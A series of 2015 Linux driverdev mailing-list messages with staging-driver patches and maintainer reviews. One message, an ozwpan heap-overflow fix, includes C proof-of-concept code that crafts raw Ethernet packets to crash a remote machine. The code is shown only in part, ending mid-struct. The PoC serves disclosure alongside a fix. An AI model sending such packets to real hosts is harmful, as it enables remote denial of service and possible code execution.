Re: [PATCH 1/1] drivers: staging: rtl8192u: ieee80211: ieee80211_softmac.c: auth parse error code byte order fix
On Sat, May 23, 2015 at 07:53:28PM -0700, tolga ceylan wrote: > On 05/12/2015 08:55 PM, Tolga Ceylan wrote: > > > > > > I haven't gotten a response for this patch. Just checking back. no response means no one is having anything to say about it. Final say will be Greg's when he reviews that when he gets to it. regards sudip > ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: My new email + some notes on mt7601
On Sat, May 23, 2015 at 05:15:04AM +, parths...@laer.in wrote: > >>> Let's let the existing rt2x00 driver developers weigh in here. It might > >>> just be a matter of adding support for the new device to the existing > >>> driver, and if so, we don't want to add a whole new, horrible vendor > >>> driver to the kernel tree. If it turns out it's a totally different > >>> device that doesn't fit into the existing driver infrastructure, then we > >>> can add the new driver and start from there. > >>> > >>> So let's hear what Stanislaw and Helmut say we should do first. > >> > >>MT7601 is similar chip like those we already support in the existing > >>rt2x00 driver, hence support of it should be added there. I'm going to > >>do this. > > > >Ok, that makes sense, anything I can do to test or help out with here? > > > >thanks, > > > >greg k-h > Hey Guys! > Writing after a long time! BTW what's the status on the rt2x00 driver? I'm > eager to try out my dongle. Everytime I need to plug this in my raspberry pi > after a dist upgrade, I need to reinstall the driver! Please let me know if > I can help in any way. Also a good news is that I'm almost going to get my > amateur radio license soon! It will be a VU3 Indian license! > Regards and 73s, > Parth Sane It turns out that there will be new mac80211 drivers for new Mediatek chips. https://github.com/openwrt/mt76 https://github.com/kuba-moo/mt7601u Driver for mt7601u was already posted and waits for inclusion. http://marc.info/?l=linux-wireless&m=143085740303384&w=2 http://marc.info/?l=linux-wireless&m=143085740603386&w=2 http://marc.info/?l=linux-wireless&m=143085741003387&w=2 Stanislaw ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 1/1] drivers: staging: unisys: visorbus: visorchipset.c: private functions should be declared static
tolga ceylan writes:
> On 05/15/2015 09:22 PM, Tolga Ceylan wrote:
>> visorchipset_file_init() and visorchipset_file_cleanup() functions
>> do not seem to be used from anywhere else and now are declared
>> as static. Sparse emitted "not declared" warnings for these two
>> functions.
>>
>> Signed-off-by: Tolga Ceylan
>> ---
>> drivers/staging/unisys/visorbus/visorchipset.c | 4 ++--
>> 1 file changed, 2 insertions(+), 2 deletions(-)
>>
>> diff --git a/drivers/staging/unisys/visorbus/visorchipset.c
>> b/drivers/staging/unisys/visorbus/visorchipset.c
>> index ca22f49..66ae3d0 100644
>> --- a/drivers/staging/unisys/visorbus/visorchipset.c
>> +++ b/drivers/staging/unisys/visorbus/visorchipset.c
>> @@ -2351,7 +2351,7 @@ static const struct file_operations visorchipset_fops
>> = {
>> .mmap = visorchipset_mmap,
>> };
>>
>> -int
>> +static int
>> visorchipset_file_init(dev_t major_dev, struct visorchannel
>> **controlvm_channel)
>> {
>> int rc = 0;
>> @@ -2460,7 +2460,7 @@ cleanup:
>> return rc;
>> }
>>
>> -void
>> +static void
>> visorchipset_file_cleanup(dev_t major_dev)
>> {
>> if (file_cdev.ops)
>>
>
> I haven't received a response for this patch. Just checking back.
>
> Regards,
> Tolga Ceylan
I don't think there is anything wrong with your patch. However, there is
a lot of active development going to clean up the code in the unisys
tree right now, and your patch conflicts with that. I would prefer to
hold off with this for now, until it settles down a bit.
Cheers,
Jes
___
devel mailing list
de...@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: r8712u: Fix kernel warning for improper call of del_timer_sync()
On 24 May 2015 at 00:16, Larry Finger wrote: > The driver is reporting a warning at kernel/time/timer.c:1096 due to calling > del_timer_sync() while in interrupt mode. Such warnings are fixed by calling > del_timer() instead. > > Signed-off-by: Larry Finger > Cc: Stable > Cc: Haggi Eran Hi, I haven't been using kernel v4.1 so I haven't seen this warning, but looking at the code it seems to originate from the two recent patches to remove _cancel_timer and _cancel_timer_ex. I see that there's another patch in lkml [1] that changes del_timer_sync back to del_timer in more places. Perhaps it could prevent other warnings like this in the future. Regards, Haggai [1] https://lkml.org/lkml/2015/5/15/226 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 1/1] Drivers: hv: vmbus:Update preferred vmbus protocol version to windows 10.
On Fri, May 15, 2015 at 05:26:40PM -0700, K. Y. Srinivasan wrote: > From: keith.ma...@microsoft.com That's not a valid "From:" name that matches the signed-off-by line below :( > > Add support for Windows 10. > > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging : comedi/drivers/pcl*.c: coding style fixes
pcl812.c / pcl816.c:
Fixed indentation errors.
Fixed lines exceeding 80 columns, spelling errors.
Verified code compiles.
Signed-off-by: Matthew Needes
---
drivers/staging/comedi/drivers/pcl812.c | 10 +-
drivers/staging/comedi/drivers/pcl816.c | 2 +-
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/comedi/drivers/pcl812.c
b/drivers/staging/comedi/drivers/pcl812.c
index 03a3fd6..48f6cdf 100644
--- a/drivers/staging/comedi/drivers/pcl812.c
+++ b/drivers/staging/comedi/drivers/pcl812.c
@@ -507,11 +507,11 @@ static const struct pcl812_board boardtypes[] = {
struct pcl812_private {
struct comedi_isadma *dma;
- unsigned char range_correction; /* =1 we must add 1 to range number */
+ unsigned char range_correction; /* =1 we must add 1 to range number */
unsigned int last_ai_chanspec;
- unsigned char mode_reg_int; /* there is stored INT number for some
card */
- unsigned int ai_poll_ptr; /* how many sampes transfer poll */
- unsigned int max_812_ai_mode0_rangewait;/* setling time for
gain */
+ unsigned char mode_reg_int; /* stored INT number for some cards */
+ unsigned int ai_poll_ptr; /* how many samples transfer poll */
+ unsigned int max_812_ai_mode0_rangewait; /* settling time for gain */
unsigned int use_diff:1;
unsigned int use_mpc508:1;
unsigned int use_ext_trg:1;
@@ -1155,7 +1155,7 @@ static int pcl812_attach(struct comedi_device *dev,
struct comedi_devconfig *it)
/* we need an IRQ to do DMA on channel 3 or 1 */
if (dev->irq && board->has_dma)
-pcl812_alloc_dma(dev, it->options[2]);
+ pcl812_alloc_dma(dev, it->options[2]);
/* differential analog inputs? */
switch (board->board_type) {
diff --git a/drivers/staging/comedi/drivers/pcl816.c
b/drivers/staging/comedi/drivers/pcl816.c
index 1ccb2f1..781b321 100644
--- a/drivers/staging/comedi/drivers/pcl816.c
+++ b/drivers/staging/comedi/drivers/pcl816.c
@@ -323,7 +323,7 @@ static int check_channel_list(struct comedi_device *dev,
/* check whole chanlist */
for (i = 0, segpos = 0; i < chanlen; i++) {
- if (chanlist[i] != chansegment[i % seglen]) {
+ if (chanlist[i] != chansegment[i % seglen]) {
dev_dbg(dev->class_dev,
"bad channel or range number!
chanlist[%i]=%d,%d,%d and not %d,%d,%d!\n",
i, CR_CHAN(chansegment[i]),
--
1.9.1
___
devel mailing list
de...@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v2] staging: comedi: fix coding style issues
On Wed, May 20, 2015 at 02:54:16PM +, Geliang Tang wrote:
> On Mon, May 18, 2015 at 12:37:09PM +0100, Ian Abbott wrote:
> > On 16/05/15 05:16, Geliang Tang wrote:
> > >1) Fixed an error found by checkpatch.pl.
> > >ERROR: space required after that ',' (ctx:VxV)
> > >./drivers/ni_mio_common.c:3764
> > >2) Changed "register 0x%x" to "register=0x%x" to keep the consistency
> > >of this file.
> > >3) The kernel version is next-20150515, 4.1.0-rc3.
> >
> > You shouldn't mention point 3 in the commit message as it will look a bit
> > strange when it ends up in the commit log. If you need to mention that, it
> > should go after the commit message, separated from the patch by a "---" line
> > like this:
> >
> > Body of commit message goes here.
> >
> > Signed off by and Cc lines go here.
> > ---
> > Additional patch commentary goes here.
> > ---
> > Actual patch goes here.
> >
> > Git will ignore the additional commentary when the patch is applied.
> >
> > >
> > >Signed-off-by: Geliang Tang
> > >---
> > > drivers/staging/comedi/drivers/ni_mio_common.c | 2 +-
> > > 1 file changed, 1 insertion(+), 1 deletion(-)
> > >
> > >diff --git a/drivers/staging/comedi/drivers/ni_mio_common.c
> > >b/drivers/staging/comedi/drivers/ni_mio_common.c
> > >index 9dfd4e6..6cc304a 100644
> > >--- a/drivers/staging/comedi/drivers/ni_mio_common.c
> > >+++ b/drivers/staging/comedi/drivers/ni_mio_common.c
> > >@@ -3761,7 +3761,7 @@ static unsigned int ni_gpct_to_stc_register(struct
> > >comedi_device *dev,
> > > if (reg < ARRAY_SIZE(ni_gpct_to_stc_regmap)) {
> > > regmap = &ni_gpct_to_stc_regmap[reg];
> > > } else {
> > >- dev_warn(dev->class_dev,"%s: unhandled register 0x%x\n",
> > >+ dev_warn(dev->class_dev, "%s: unhandled register=0x%x\n",
> > >__func__, reg);
> > > return 0;
> > > }
> > >
> >
> > Apart from that niggle, the patch looks good!
> >
> > Reviewed-by: Ian Abbott
> >
> > --
> > -=( Ian Abbott @ MEV Ltd.E-mail: )=-
> > -=( Web: http://www.mev.co.uk/ )=-
>
> Thank you for your review. I revised the patch as you suggested.
> Here it is.
> >From d864f6af18a44031a241e10e64d98f9e6b8c0660 Mon Sep 17 00:00:00 2001
> From: Geliang Tang
> Date: Wed, 20 May 2015 14:26:13 +
> Subject: [PATCH v2] staging: comedi: fix coding style issues
>
> 1) Fixed an error found by checkpatch.pl.
>ERROR: space required after that ',' (ctx:VxV)
>./drivers/ni_mio_common.c:3764
> 2) Changed "register 0x%x" to "register=0x%x" to keep the consistency
>of this file.
That's multiple things in one patch :(
Also, this is an attachment, which I can't apply, please resend it as a
proper email.
thanks,
greg k-h
___
devel mailing list
de...@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging : comedi/drivers/pcl*.c: coding style fixes
On Sun, May 24, 2015 at 12:42:43PM -0700, Matthew Needes wrote: > pcl812.c / pcl816.c: > > Fixed indentation errors. > Fixed lines exceeding 80 columns, spelling errors. That's multiple things in the same patch, please do this in separate patches, each one only doing one thing each. > Verified code compiles. This should be without saying :) ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote:
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
>
> This could result in remote code execution. A PoC which obtains DoS
> follows below. It requires the ozprotocol.h file from this module.
>
> =-=-=-=-=-=
>
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
>
> #define u8 uint8_t
> #define u16 uint16_t
> #define u32 uint32_t
> #define __packed __attribute__((__packed__))
> #include "ozprotocol.h"
>
> static int hex2num(char c)
> {
> if (c >= '0' && c <= '9')
> return c - '0';
> if (c >= 'a' && c <= 'f')
> return c - 'a' + 10;
> if (c >= 'A' && c <= 'F')
> return c - 'A' + 10;
> return -1;
> }
> static int hwaddr_aton(const char *txt, uint8_t *addr)
> {
> int i;
> for (i = 0; i < 6; i++) {
> int a, b;
> a = hex2num(*txt++);
> if (a < 0)
> return -1;
> b = hex2num(*txt++);
> if (b < 0)
> return -1;
> *addr++ = (a << 4) | b;
> if (i < 5 && *txt++ != ':')
> return -1;
> }
> return 0;
> }
>
> int main(int argc, char *argv[])
> {
> if (argc < 3) {
> fprintf(stderr, "Usage: %s interface destination_mac\n",
> argv[0]);
> return 1;
> }
>
> uint8_t dest_mac[6];
> if (hwaddr_aton(argv[2], dest_mac)) {
> fprintf(stderr, "Invalid mac address.\n");
> return 1;
> }
>
> int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
> if (sockfd < 0) {
> perror("socket");
> return 1;
> }
>
> struct ifreq if_idx;
> int interface_index;
> strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
> if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
> perror("SIOCGIFINDEX");
> return 1;
> }
> interface_index = if_idx.ifr_ifindex;
> if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
> perror("SIOCGIFHWADDR");
> return 1;
> }
> uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_elt_connect_req oz_elt_connect_req;
> } __packed connect_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2],
> src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
> dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION <<
> OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(0)
> },
> .oz_elt = {
> .type = OZ_ELT_CONNECT_REQ,
> .length = sizeof(struct oz_elt_connect_req)
> },
> .oz_elt_connect_req = {
> .mode = 0,
> .resv1 = {0},
> .pd_info = 0,
> .session_id = 0,
> .presleep = 35,
> .ms_isoc_latency = 0,
> .host_vendor = 0,
> .keep_alive = 0,
> .apps = htole16((1 << OZ_APPID_USB) | 0x1),
> .max_len_div16 = 0,
> .ms_per_isoc = 0,
> .up_audio_buf = 0,
> .ms_per_elt = 0
> }
> };
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_get_desc_rsp oz_get_desc_rsp;
> } __packed pwn_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2],
> src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
> dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION <<
> OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
>
Re: [PATCH 13/44] staging: unisys: Move files out of common-spar
On Wed, May 13, 2015 at 01:22:07PM -0400, Benjamin Romer wrote: > From: David Kershner > > Move last three files out of common-spar > > iochannel.h --> include (will be used by visorhba and visornic) > version.h --> moved to include > controlvmcompletionstatus.h --> moved to visorbus, part of > controlvmchannel.h > > Signed-off-by: David Kershner > Signed-off-by: Benjamin Romer > --- > .../common-spar/include/channels/iochannel.h | 651 > - > .../include/controlvmcompletionstatus.h| 94 --- > .../staging/unisys/common-spar/include/version.h | 45 -- > drivers/staging/unisys/include/iochannel.h | 651 > + > drivers/staging/unisys/include/version.h | 45 ++ > .../unisys/visorbus/controlvmcompletionstatus.h| 94 +++ > 6 files changed, 790 insertions(+), 790 deletions(-) > delete mode 100644 > drivers/staging/unisys/common-spar/include/channels/iochannel.h > delete mode 100644 > drivers/staging/unisys/common-spar/include/controlvmcompletionstatus.h > delete mode 100644 drivers/staging/unisys/common-spar/include/version.h > create mode 100644 drivers/staging/unisys/include/iochannel.h > create mode 100644 drivers/staging/unisys/include/version.h > create mode 100644 > drivers/staging/unisys/visorbus/controlvmcompletionstatus.h In the future, please create patches with -m, so that we can see the files being moved, not deleted and added. thanks, greg k-h ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 32/44 V2] staging: unisys: Move channel creation up the stack
On Mon, May 18, 2015 at 11:23:05AM -0400, Don Zickus wrote: > Instead of creating a channel struct to temporarily hold the channel > info and passing it through multiple functions until the device is > created, just create the channel from the start. > > This allows us to remove the channel_info struct. > > I noticed 'chan_info.addr_type' was not being used, so I just deleted it. > > Signed-off-by: Don Zickus > > --- > V2: Fix bus/dev_create error path by adding bus/dev_info = NULL (Dan > Carpenter) This patch doesn't apply to the tree, so something went wrong. Please fix it up and resend from here through the rest of the series, as I had to stop at this patch. thanks, greg k-h ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 1/1] drivers: staging: unisys: visorbus: visorchipset.c: private functions should be declared static
On Fri, May 15, 2015 at 09:22:21PM -0700, Tolga Ceylan wrote: > visorchipset_file_init() and visorchipset_file_cleanup() functions > do not seem to be used from anywhere else and now are declared > as static. Sparse emitted "not declared" warnings for these two > functions. > > Signed-off-by: Tolga Ceylan > --- > drivers/staging/unisys/visorbus/visorchipset.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) Doesn't apply to my tree :( ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: unisys: remove braces from single statement blocks
On Sun, May 17, 2015 at 03:46:36PM -0700, Isaac Assegai wrote:
> Remove the braces to satisfy this checkpatch warning:
> WARNING: braces {} are not necessary for single statement blocks
>
> Signed-off-by: Isaac Assegai
> ---
> drivers/staging/unisys/virthba/virthba.c | 6 ++
> 1 file changed, 2 insertions(+), 4 deletions(-)
Doesn't apply to my tree :(
___
devel mailing list
de...@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v3 1/2] staging: wilc1000: Add SDIO/SPI 802.11 driver
On Mon, May 11, 2015 at 02:30:56PM +0900, Johnny Kim wrote: > This driver is for the wilc1000 which is a single chip IEEE 802.11 > b/g/n device. > The driver works together with cfg80211, which is the kernel side of > configuration management for wireless devices because the wilc1000 > chipset is fullmac where the MLME is managed in hardware. > > The driver worked from kernel version 2.6.38 and being now ported > to several others since then. > A TODO file is included as well in this commit. There are some build warnings with this patch. Expect an email from the 0-day bot about them. I suggest sending me patches to fix those up as soon as possible. thanks, greg k-h ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 1/1] staging: fwserial: fix resource leak
From: Vladimirs Ambrosovs
This patch fixes the leak, which was present in fwserial driver in the
init function. in case the tty driver allocation failed the function
returned error, leaving debugfs entry in the filesystem.
To fix the issue additional error label was added, so that the code will
jump to it in case of allocation failure, and free debugfs entries.
Also, the additional check for debugfs_create_dir() return value was
added to warn the user, that the directory was not created. Further
driver code checks, whether the value is NULL or not, so it is safe
to continue init.
Signed-off-by: Vladimirs Ambrosovs
---
drivers/staging/fwserial/fwserial.c | 13 -
1 file changed, 12 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/fwserial/fwserial.c
b/drivers/staging/fwserial/fwserial.c
index fdb2418..27a1d77 100644
--- a/drivers/staging/fwserial/fwserial.c
+++ b/drivers/staging/fwserial/fwserial.c
@@ -2812,16 +2812,25 @@ static int __init fwserial_init(void)
/* XXX: placeholder for a "firewire" debugfs node */
fwserial_debugfs = debugfs_create_dir(KBUILD_MODNAME, NULL);
+ /* Don't need to return error if debugfs create dir failed, since
+* it is safe to continue without debugfs entry. It is being
+* checked further in the code, before usage, but we still want
+* to inform the user
+*/
+ if (unlikely(IS_ERR_OR_NULL(fwserial_debugfs)))
+ pr_warn("failed to create debugfs entry\n");
+
/* num_ttys/num_ports must not be set above the static alloc avail */
if (num_ttys + num_loops > MAX_CARD_PORTS)
num_ttys = MAX_CARD_PORTS - num_loops;
+
num_ports = num_ttys + num_loops;
fwtty_driver = tty_alloc_driver(MAX_TOTAL_PORTS, TTY_DRIVER_REAL_RAW
| TTY_DRIVER_DYNAMIC_DEV);
if (IS_ERR(fwtty_driver)) {
err = PTR_ERR(fwtty_driver);
- return err;
+ goto remove_debugfs;
}
fwtty_driver->driver_name = KBUILD_MODNAME;
@@ -2923,7 +2932,9 @@ unregister_driver:
tty_unregister_driver(fwtty_driver);
put_tty:
put_tty_driver(fwtty_driver);
+remove_debugfs:
debugfs_remove_recursive(fwserial_debugfs);
+
return err;
}
--
2.0.4
___
devel mailing list
de...@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 1/1] staging: fwserial: fix resource leak
From: Vladimirs Ambrosovs
This patch fixes the leak, which was present in fwserial driver in the
init function. in case the tty driver allocation failed the function
returned error, leaving debugfs entry in the filesystem.
To fix the issue additional error label was added, so that the code will
jump to it in case of allocation failure, and free debugfs entries.
Also, the additional check for debugfs_create_dir() return value was
added to warn the user, that the directory was not created. Further
driver code checks, whether the value is NULL or not, so it is safe
to continue init.
Signed-off-by: Vladimirs Ambrosovs
---
drivers/staging/fwserial/fwserial.c | 13 -
1 file changed, 12 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/fwserial/fwserial.c
b/drivers/staging/fwserial/fwserial.c
index fdb2418..27a1d77 100644
--- a/drivers/staging/fwserial/fwserial.c
+++ b/drivers/staging/fwserial/fwserial.c
@@ -2812,16 +2812,25 @@ static int __init fwserial_init(void)
/* XXX: placeholder for a "firewire" debugfs node */
fwserial_debugfs = debugfs_create_dir(KBUILD_MODNAME, NULL);
+ /* Don't need to return error if debugfs create dir failed, since
+* it is safe to continue without debugfs entry. It is being
+* checked further in the code, before usage, but we still want
+* to inform the user
+*/
+ if (unlikely(IS_ERR_OR_NULL(fwserial_debugfs)))
+ pr_warn("failed to create debugfs entry\n");
+
/* num_ttys/num_ports must not be set above the static alloc avail */
if (num_ttys + num_loops > MAX_CARD_PORTS)
num_ttys = MAX_CARD_PORTS - num_loops;
+
num_ports = num_ttys + num_loops;
fwtty_driver = tty_alloc_driver(MAX_TOTAL_PORTS, TTY_DRIVER_REAL_RAW
| TTY_DRIVER_DYNAMIC_DEV);
if (IS_ERR(fwtty_driver)) {
err = PTR_ERR(fwtty_driver);
- return err;
+ goto remove_debugfs;
}
fwtty_driver->driver_name = KBUILD_MODNAME;
@@ -2923,7 +2932,9 @@ unregister_driver:
tty_unregister_driver(fwtty_driver);
put_tty:
put_tty_driver(fwtty_driver);
+remove_debugfs:
debugfs_remove_recursive(fwserial_debugfs);
+
return err;
}
--
2.0.4
___
devel mailing list
de...@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: r8712u: Fix kernel warning for improper call of del_timer_sync()
On 05/24/2015 02:03 PM, Haggai Eran wrote: On 24 May 2015 at 00:16, Larry Finger wrote: The driver is reporting a warning at kernel/time/timer.c:1096 due to calling del_timer_sync() while in interrupt mode. Such warnings are fixed by calling del_timer() instead. Signed-off-by: Larry Finger Cc: Stable Cc: Haggi Eran Hi, I haven't been using kernel v4.1 so I haven't seen this warning, but looking at the code it seems to originate from the two recent patches to remove _cancel_timer and _cancel_timer_ex. I see that there's another patch in lkml [1] that changes del_timer_sync back to del_timer in more places. Perhaps it could prevent other warnings like this in the future. Regards, Haggai [1] https://lkml.org/lkml/2015/5/15/226 Yes, the script kiddies make changes they do not understand and screw everything up. Unfortunately, I did not catch these in review. I think I will submit V2 and blast the contributor. Larry ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: r8712u: Fix kernel warning for improper call of del_timer_sync()
>I haven't been using kernel v4.1 so I haven't seen this warning, but looking >at the code it seems to originate from the two recent patches to remove >_cancel_timer and _cancel_timer_ex. I see that there's another patch in lkml >[1] >that changes del_timer_sync back to del_timer in more places. Perhaps it >could prevent other warnings like this in the future. _cancel_timer and _cancel_timer_ex both were internally using del_timer, and the issue was reported in bugzilla. I have given the reference of the bugzilla in my patch in lkml. I have changed the reference of del_timer_sync to del_timer in all places which were in interrupt context, in some places it was not removed as those were not in interrupt context. regards sudip ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
